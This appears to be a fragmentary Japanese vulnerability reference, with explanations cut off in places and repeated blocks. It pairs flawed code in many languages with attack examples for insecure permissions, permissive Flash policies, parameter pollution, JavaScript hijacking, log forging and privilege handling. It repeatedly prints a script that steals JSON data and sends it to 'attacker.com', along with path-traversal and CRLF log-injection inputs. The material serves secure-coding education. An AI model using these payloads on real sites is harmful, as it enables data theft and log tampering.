permissions := strconv.Atoi(os.Getenv("filePermissions"));
fMode := os.FileMode(permissions)
os.chmod(filePath, fMode);
...
String permissionMask = System.getProperty("defaultFileMask");
Path filePath = userFile.toPath();
...
Set<PosixFilePermission> perms = PosixFilePermissions.fromString(permissionMask);
Files.setPosixFilePermissions(filePath, perms);
...
$rName = $_GET['publicReport'];
chmod("/home/". authenticateUser . "/public_html/" . rName,"0755");
...
publicReport
に悪意のある値 (../../localuser/public_html/.htpasswd
など) を指定した場合、指定されたファイルは攻撃者から読み取り可能となります。
...
$mask = $CONFIG_TXT['perms'];
chmod($filename,$mask);
...
permissions = os.getenv("filePermissions");
os.chmod(filePath, permissions);
...
...
rName = req['publicReport']
File.chmod("/home/#{authenticatedUser}/public_html/#{rName}", "0755")
...
publicReport
に悪意のある値 (../../localuser/public_html/.htpasswd
など) を指定した場合、指定されたファイルは攻撃者から読み取り可能となります。
...
mask = config_params['perms']
File.chmod(filename, mask)
...
crossdomain.xml
設定ファイルの該当する設定によりこのポリシーを変更することを開発者に許可しています。しかし、この設定を変更する場合には、注意が必要です。クロスドメインポリシーが過度に許容的であると、悪意のあるアプリケーションが不正な方法で攻撃対象のアプリケーションとやりとりし、偽装、データの盗み出し、リレーなどの攻撃が実行されるおそれがあるためです。
flash.system.Security.allowDomain("*");
*
を allowDomain()
への引数として使用すると、アプリケーションのデータが、任意のドメインにある他の SWF アプリケーションにアクセスできることになります。crossdomain.xml
設定ファイルの該当する設定によりこのポリシーを変更することを開発者に許可しています。Flash Player 9,0,124,0 以降、Adobe は Flash Player がドメイン間で送信できるカスタム ヘッダーを定義する機能も導入しました。ただし、これらの設定を定義するときには注意が必要です。過度に許容的なカスタム ヘッダー ポリシーを、過度に許容的なクロスドメイン ポリシーと一緒に適用すると、悪意のあるアプリケーションが任意のヘッダーをターゲット アプリケーションに送信できるようになります。その結果、さまざまな攻撃の対象となったり、受信したヘッダーの処理方法がわからない、アプリケーションの実行エラーが発生したりする可能性があります。
<cross-domain-policy>
<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>
*
を headers
属性の値として使用すると、任意のヘッダーがドメイン間で送信できてしまいます。crossdomain.xml
設定ファイルの該当する設定によりこのポリシーを変更することを開発者に許可しています。しかし、この設定に影響を与えるユーザーを決定する場合には、注意が必要です。クロスドメインポリシーが過度に許容的であると、悪意のあるアプリケーションが不正な方法で攻撃対象のアプリケーションとやりとりし、偽装、データの盗み出し、リレーなどの攻撃が実行されるおそれがあるためです。ポリシー制約の回避の脆弱性は次のように発生します。例 2: 次のコードは、ロードされた SWF ファイルへのパラメーターの 1 つの値を使用して、信頼されるドメインのリストを定義しています。
...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var url:String = String(params["url"]);
flash.system.Security.loadPolicyFile(url);
...
...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var domain:String = String(params["domain"]);
flash.system.Security.allowDomain(domain);
...
crossdomain.xml
設定ファイルの該当する設定によりこの制約を変更することを開発者に許可しています。しかし、HTTP を介してロードされたアプリケーションは、中間者攻撃を受ける可能性があり、信頼するべきではないため、これらの設定を定義するときには、注意が必要です。allowInsecureDomain()
をコールしています。これは、HTTP でロードされた SWF アプリケーションが HTTPS でロードされた SWF アプリケーションのデータにアクセスすることを禁止する制約を解除するものです。
flash.system.Security.allowInsecureDomain("*");
services-config.xml
ディスクリプタファイルは "Logging" XML 要素を指定して、ログの各要素を記述します。次のようになります。
<logging>
<target class="flex.messaging.log.ConsoleTarget" level="Debug">
<properties>
<prefix>[BlazeDS]</prefix>
<includeDate>false</includeDate>
<includeTime>false</includeTime>
<includeLevel>false</includeLevel>
<includeCategory>false</includeCategory>
</properties>
<filters>
<pattern>Endpoint.*</pattern>
<pattern>Service.*</pattern>
<pattern>Configuration</pattern>
</filters>
</target>
</logging>
target
タグでは、ログレベルを示す level
と呼ばれる属性をオプションで使用できます。デバッグ レベルが詳細すぎるレベルに設定されている場合、アプリケーションが機密データをログ ファイルに書き込む可能性があります。
...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...
en&poll_id=1
のような lang
を指定できる可能性を考慮しておらず、攻撃者が思いのままに poll_id
を変更できます。
...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...
en&poll_id=1
のような lang
を指定できる可能性を考慮しておらず、攻撃者が思いのままに poll_id
を変更できます。
<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>
name=alice
を指定していますが、さらに name=alice&
を追加しています。これが最初に出現するサーバーで使用されると、alice
になりすましてそのアカウントに関する情報をさらに取得します。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
タグを使用して評価される有効な JavaScript から構成されるレスポンスを生成するため、JavaScript 乗っ取り攻撃に対して脆弱となります [1]。既定では、このフレームワークは POST メソッドを使用してリクエストを送信します。そのため、悪意ある <script>
タグからリクエストを生成することは困難です (<script>
タグは GET リクエストのみを生成するため)。しかし、Microsoft AJAX.NET では、GET リクエストを使用するメカニズムが利用できるようになっています。実際、多くの専門家が、ブラウザのキャッシュ機能を活用してパフォーマンスを向上するために GET リクエストを使用することをプログラマに対して奨励しています。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
タグを使用して評価される有効な JavaScript から構成されるレスポンスを生成するため、JavaScript 乗っ取り攻撃に対して脆弱となります [1]。既定では、このフレームワークは POST メソッドを使用してリクエストを送信します。そのため、悪意ある <script>
タグからリクエストを生成することは困難です (<script>
タグは GET リクエストのみを生成するため)。しかし、GWT では、GET リクエストを使用するメカニズムが利用できるようになっています。実際、多くの専門家が、ブラウザのキャッシュ機能を活用してパフォーマンスを向上するために GET リクエストを使用することをプログラマに対して奨励しています。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
search
メソッドに渡された javax.naming.directory.SearchControls
インスタンスで returningObjectFlag
を true
に設定するか、代わりにこのフラグを設定するライブラリ関数を使用することで、オブジェクトを返す検索を実行します。
<beans ... >
<authentication-manager>
<ldap-authentication-provider
user-search-filter="(uid={0})"
user-search-base="ou=users,dc=example,dc=org"
group-search-filter="(uniqueMember={0})"
group-search-base="ou=groups,dc=example,dc=org"
group-role-attribute="cn"
role-prefix="ROLE_">
</ldap-authentication-provider>
</authentication-manager>
</beans>
chroot()
などの操作を実行するのに必要な、昇格した権限レベルは、操作を実行したらすぐに降格させます。chroot()
などの権限を持つ関数をコールする場合、先に root
権限を獲得する必要があります。権限付きの操作が完了したら、プログラムは root
権限を降格させ、呼び出したユーザーの権限レベルに戻さなければなりません。chroot()
をコールして、アプリケーションを APP_HOME
配下のファイル システムのサブセットに制限することで、攻撃者がプログラムを使用して他の場所にあるファイルに無許可でアクセスできないようにしています。コードはユーザーが指定したファイルを開き、ファイルの内容を処理しています。
...
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
setuid()
をコールしない場合、アプリケーションは不必要な root
権限で動作し続けます。悪意ある操作はすべてスーパーユーザーの権限で実行されることになるので、攻撃者によってアプリケーションに対して実行される悪用が成功すると権限昇格攻撃になります。アプリケーションが権限レベルを root
以外のユーザーに降格していれば、被害の可能性は大幅に減少します。
...
DATA log_msg TYPE bal_s_msg.
val = request->get_form_field( 'val' ).
log_msg-msgid = 'XY'.
log_msg-msgty = 'E'.
log_msg-msgno = '123'.
log_msg-msgv1 = 'VAL: '.
log_msg-msgv2 = val.
CALL FUNCTION 'BAL_LOG_MSG_ADD'
EXPORTING
I_S_MSG = log_msg
EXCEPTIONS
LOG_NOT_FOUND = 1
MSG_INCONSISTENT = 2
LOG_IS_FULL = 3
OTHERS = 4.
...
val
として「FOO
」という文字列を送信すると、以下のエントリが記録されます。
XY E 123 VAL: FOO
FOO XY E 124 VAL: BAR
」という文字列を送信すると、以下のエントリが記録されます。
XY E 123 VAL: FOO XY E 124 VAL: BAR
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var val:String = String(params["username"]);
var value:Number = parseInt(val);
if (value == Number.NaN) {
trace("Failed to parse val = " + val);
}
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
Failed to parse val=twenty-one
User logged out=badguy
...
string val = (string)Session["val"];
try {
int value = Int32.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val= " + val);
}
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
syslog(LOG_INFO,"Illegal value = %s",val);
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
01 LOGAREA.
05 VALHEADER PIC X(50) VALUE 'VAL: '.
05 VAL PIC X(50).
...
EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(VAL)
...
END-EXEC.
EXEC DLI
LOG
FROM(LOGAREA)
LENGTH(50)
END-EXEC.
...
VAL
として「FOO
」という文字列を送信すると、以下のエントリが記録されます。
VAL: FOO
FOO VAL: BAR
」という文字列を送信すると、以下のエントリが記録されます。
VAL: FOO VAL: BAR
<cflog file="app_log" application="No" Thread="No"
text="Failed to parse val="#Form.val#">
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
twenty-one%0a%0a%22Information%22%2C%2C%2202/28/01%22%2C%2214:53:40%22%2C%2C%22User%20logged%20out:%20badguy%22
」という文字列を送信すると、以下のエントリが記録されます。
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
"Information",,"02/28/01","14:53:40",,"User logged out: badguy"
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
name := r.FormValue("name")
logout := r.FormValue("logout")
...
if (logout){
...
} else {
log.Printf("Attempt to log out: name: %s logout: %s", name, logout)
}
}
logout
として「twenty-one
」という文字列を送信すると、「admin
」という名前のユーザーを作成でき、以下のエントリが記録されます。
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
」というユーザー名を作成できる場合、以下のエントリが記録されます。
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException nfe) {
log.info("Failed to parse val = " + val);
}
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1
を応用しています。
...
String val = this.getIntent().getExtras().getString("val");
try {
int value = Integer.parseInt();
}
catch (NumberFormatException nfe) {
Log.e(TAG, "Failed to parse val = " + val);
}
...
var cp = require('child_process');
var http = require('http');
var url = require('url');
function listener(request, response){
var val = url.parse(request.url, true)['query']['val'];
if (isNaN(val)){
console.log("INFO: Failed to parse val = " + val);
}
...
}
...
http.createServer(listener).listen(8080);
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val = twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
NSLog("Illegal value = %s",val);
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Illegal value=twenty-one
INFO: User logged out=evil
<?php
$name =$_GET['name'];
...
$logout =$_GET['logout'];
if(is_numeric($logout))
{
...
}
else
{
trigger_error("Attempt to log out: name: $name logout: $val");
}
?>
logout
として「twenty-one
」という文字列を送信すると、「admin
」という名前のユーザーを作成でき、以下のエントリが記録されます。
PHP Notice: Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
」というユーザー名を作成できる場合、以下のエントリが記録されます。
PHP Notice: Attempt to log out: name: admin logout: 1 logout: twenty-one
name = req.field('name')
...
logout = req.field('logout')
if (logout):
...
else:
logger.error("Attempt to log out: name: %s logout: %s" % (name,logout))
logout
として「twenty-one
」という文字列を送信すると、「admin
」という名前のユーザーを作成でき、以下のエントリが記録されます。
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
」というユーザー名を作成できる場合、以下のエントリが記録されます。
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
val = req['val']
unless val.respond_to?(:to_int)
logger.info("Failed to parse val")
logger.info(val)
end
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val
INFO: twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val
INFO: twenty-one
INFO: User logged out=badguy
...
let num = Int(param)
if num == nil {
NSLog("Illegal value = %@", param)
}
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Illegal value = twenty-one
twenty-one\n\nINFO: User logged out=evil
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
Dim Val As Variant
Dim Value As Integer
Set Val = Request.Form("val")
If IsNumeric(Val) Then
Set Value = Val
Else
App.EventLog "Failed to parse val=" & Val, 1
End If
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
Failed to parse val=twenty-one
twenty-one%0a%0a+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
Failed to parse val=twenty-one
User logged out=badguy
read()
のコールが予想バイト数を戻せない場合に、割り当てられているメモリのブロックが漏洩します。
char* getBlock(int fd) {
char* buf = (char*) malloc(BLOCK_SIZE);
if (!buf) {
return NULL;
}
if (read(fd, buf, BLOCK_SIZE) != BLOCK_SIZE) {
return NULL;
}
return buf;
}
CALL "CBL_ALLOC_MEM"
USING mem-pointer
BY VALUE mem-size
BY VALUE flags
RETURNING status-code
END-CALL
IF status-code NOT = 0
DISPLAY "Error!"
GOBACK
ELSE
SET ADDRESS OF mem TO mem-pointer
END-IF
PERFORM write-data
IF ws-status-code NOT = 0
DISPLAY "Error!"
GOBACK
ELSE
DISPLAY "Success!"
END-IF
CALL "CBL_FREE_MEM"
USING BY VALUE mem-pointer
RETURNING status-code
END-CALL
GOBACK
.
dealloc()
メソッドでメモリの解放に失敗します。init()
メソッドでメモリを割り当てますが、deallocate()
メソッドでメモリの解放に失敗するため、Memory Leak が発生します。
- (void)init
{
myVar = [NSString alloc] init];
...
}
- (void)dealloc
{
[otherVar release];
}
realloc()
のコールが元のメモリ割り当てのサイズ変更に失敗した場合に、次の C 関数は割り当てられているメモリブロックをリークしています。
char* getBlocks(int fd) {
int amt;
int request = BLOCK_SIZE;
char* buf = (char*) malloc(BLOCK_SIZE + 1);
if (!buf) {
goto ERR;
}
amt = read(fd, buf, request);
while ((amt % BLOCK_SIZE) != 0) {
if (amt < request) {
goto ERR;
}
request = request + BLOCK_SIZE;
buf = realloc(buf, request);
if (!buf) {
goto ERR;
}
amt = read(fd, buf, request);
}
return buf;
ERR:
if (buf) {
free(buf);
}
return NULL;
}
realloc()
の呼び出しが元の割り当てのサイズ変更に失敗した場合に、割り当て済みメモリのブロックをリークします。
CALL "malloc" USING
BY VALUE mem-size
RETURNING mem-pointer
END-CALL
ADD 1000 TO mem-size
CALL "realloc" USING
BY VALUE mem-pointer
BY VALUE mem-size
RETURNING mem-pointer
END-CALL
IF mem-pointer <> null
CALL "free" USING
BY VALUE mem-pointer
END-CALL
END-IF
NullException
を引き起こします。cmd
」という名前の定義されたプロパティがあると前提しています。攻撃者がプログラムの環境を制御して「cmd
」を未定義にできる場合、プログラムが Trim()
メソッドのコールを試みると NULL ポインタ例外が発生します。
string cmd = null;
...
cmd = Environment.GetEnvironmentVariable("cmd");
cmd = cmd.Trim();
null
であるかを確認する前に、null
の可能性があるポインタを間接参照する場合です。チェック後間接参照のエラーが発生するのは、プログラムが null
に対して明示的チェックを実行したにも関わらず、null
であることが判明しているポインタを間接参照した場合です。この種のエラーの多くは、タイプミスかプログラマの不注意が原因です。格納後間接参照のエラーは、プログラムが明示的にポインタを null
に設定し、後でそのポインタを間接参照した場合に発生します。このエラーは通常、変数の宣言時にプログラマがその変数を null
に初期化したことが原因で発生します。ptr
は NULL
ではないと仮定してします。この仮定は、プログラマがポインタを間接参照したときに明らかになります。その後プログラマが ptr
と NULL
を比較したときに、この仮定は成り立たなくなります。ptr
が if
ステートメントでチェックされたときに NULL
であるとすれば、間接参照されたときにも NULL
である可能性があり、これがセグメンテーション違反の原因となる場合があります。例 2: 次のコードでは、プログラマは変数
ptr->field = val;
...
if (ptr != NULL) {
...
}
ptr
が NULL
であることを確認してから、続いてそれを誤って間接参照しています。ptr
が if
ステートメントでチェックされたときに NULL
になっていると、null
Dereference が発生し、これがセグメンテーション違反の原因となります。例 3: 次のコードでは、プログラマが文字列
if (ptr == null) {
ptr->field = val;
...
}
'\0'
(実際は 0) または NULL
を忘れたため、NULL ポインタを間接参照し、セグメンテーション違反を引き起こしています。例 4: 次のコードでは、プログラマは明示的に変数
if (ptr == '\0') {
*ptr = val;
...
}
ptr
を NULL
に設定しています。続いて、オブジェクトの null
値をチェックする前に ptr
を間接参照しています。
*ptr = NULL;
...
ptr->field = val;
...
}
NullPointerException
を引き起こします。cmd
」という名前の定義されたプロパティがあると前提しています。攻撃者がプログラムの環境を制御して「cmd
」を未定義にできる場合、プログラムが trim()
メソッドのコールを試みると NULL ポインタ例外が発生します。
String val = null;
...
cmd = System.getProperty("cmd");
if (cmd)
val = util.translateCommand(cmd);
...
cmd = val.trim();
clone()
メソッドは新規オブジェクトを取得するために super.clone()
をコールします。clone()
のすべての実装は super.clone()
をコールして新規オブジェクトを取得します。クラスがこの規定に従わない場合、サブクラスの clone()
メソッドは不正なタイプのオブジェクトを出力します。super.clone()
のコールをしなかったことが原因で発生したバグを示すものです。Kibitzer
が clone()
を実装する方法のため、FancyKibitzer
の clone メソッドはタイプ FancyKibitzer
ではなく、タイプ Kibitzer
のオブジェクトを返します。
public class Kibitzer implements Cloneable {
public Object clone() throws CloneNotSupportedException {
Object returnMe = new Kibitzer();
...
}
}
public class FancyKibitzer extends Kibitzer
implements Cloneable {
public Object clone() throws CloneNotSupportedException {
Object returnMe = super.clone();
...
}
}
Equals()
と GetHashCode()
のいずれかひとつを定義します。a.Equals(b) == true
の場合は a.GetHashCode() == b.GetHashCode()
です。 Equals()
を上書きしますが、GetHashCode()
は上書きしません。
public class Halfway() {
public override boolean Equals(object obj) {
...
}
}